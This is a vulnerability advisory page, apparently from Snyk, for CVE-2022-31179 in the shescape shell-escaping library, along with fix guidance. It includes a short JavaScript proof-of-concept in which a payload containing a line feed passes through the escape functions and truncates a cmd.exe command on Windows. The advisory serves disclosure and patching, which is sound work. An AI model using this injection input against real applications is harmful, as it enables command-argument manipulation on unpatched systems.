Remote Code Execution (RCE) Affecting shescape package, versions <1.5.8
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-SHESCAPE-2952703
- published17 Jul 2022
- disclosed15 Jul 2022
- creditUnknown
Introduced: 15 Jul 2022
CVE-2022-31179 (opens in a new tab)How to fix?
Upgrade shescape to version 1.5.8 or higher.
Overview
shescape is a simple shell escape library
Affected versions of this package are vulnerable to Remote Code Execution (RCE) on Windows, when processing cmd.exe commands. An attacker can cause all arguments following their input to be ignored by including a line feed character ('\n') in the input.
PoC:
import cp from "node:child_process";
import * as shescape from "shescape";
// 1. Prerequisites
const options = {
shell: "cmd.exe",
};
// 2. Attack
const payload = "attacker\n";
// 3. Usage
let escapedPayload;
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options)[0];
// Or
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options)[0];
cp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);
// Outputs: "Hello attacker"